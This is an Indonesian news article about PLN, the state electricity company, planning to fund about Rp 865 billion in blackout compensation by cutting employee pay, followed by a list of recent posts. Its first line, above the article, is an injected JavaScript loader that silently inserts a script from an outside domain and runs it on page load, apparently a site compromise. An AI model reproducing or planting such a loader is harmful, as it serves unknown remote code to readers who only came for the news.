(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Pejabat PLN Takut Ditangkap Ganti Rugi Mati Lampu Massal Pakai Duit APBN


Direktur Pengadaan Strategis 2 PLN Djoko Raharjo Abumanan memastikan bahwa biaya untuk kompensasi atau ganti rugi akibat insiden mati listrik atau blackout tidak akan membebani Anggaran Pendapatan dan Belanja Negara atau APBN.

Biaya kompensasi senilai Rp 800 miliar lebih itu bakal ditutup dengan memotong gaji karyawan. PT PLN (persero) tidak berani mengambil dana APBN sebagai biaya ganti rugi terhadap konsumen lantaran bukan peruntukkannya.

“Enak aja kalo dari APBN ditangkap, nggak boleh. APBN untuk investasi, subsidi itu operasi,” kata Djoko di Kompleks Parlemen Senayan, Jakarta, Selasa (6/8/2019).

Sebelmnya Djoko berujar adanya ganti rugi dengan biaya ratusan miliar tersebut mengakibatkan keuangan PLN minus. Untuk itu pihaknua bakal menerapkan pengurangan gaji karyawan.

“Makanya harus hemat lagi nanti, gaji pegawai kurangi. Di PLN itu ada married order kalo kerjanya enggak bagus potong gaji. P2 perhitugkan, P1 gaji dasar. P2 ini kalau prestasi dikasih kalau enggak, enggak. Kalau gini nih kemungkinan kena semua pegawai enggak ngebul satu semester berikutnya,” tutur Djoko.

Sebelumnya, Direktur Bisnis Regional Jawa bagian Barat PLN, Haryanto W.S mengatakan jumlah ganti rugi akibat pemadaman listrik di wilayah Jawa Barat, DKI Jakarta dan Banten pada Minggu (4/8/2019) berkisar Rp 865 miliar.

Haryanto menerangkan kompensasi akan diberikan tidak berdasarkan lamanya listrik padam. Menurutnya kompensasi akan dibayarkan kepada konsumen bila realisasi tingkat mutu pelayanan (TMP) tenaga listrik melebihi 10 persen.

“Jumlah kompensasi dari 22 juta pelanggan dananya sekitar Rp 865 miliar,” ujar Haryanto, Selasa (6/8/2019).

Haryanto membeberkan bahwa pembayaran kompensasi ganti rugi akan dilakukan di bulan September. Serta kompensasi berlaku bagi pelanggan prabayar dan pasca bayar sesuai ketentuan yang berlaku. (suara.com)

Reporter : Suara.com
Editor : KK

Desy Arfianty

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

8 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

9 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

9 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

10 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

11 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

15 jam ago

This website uses cookies.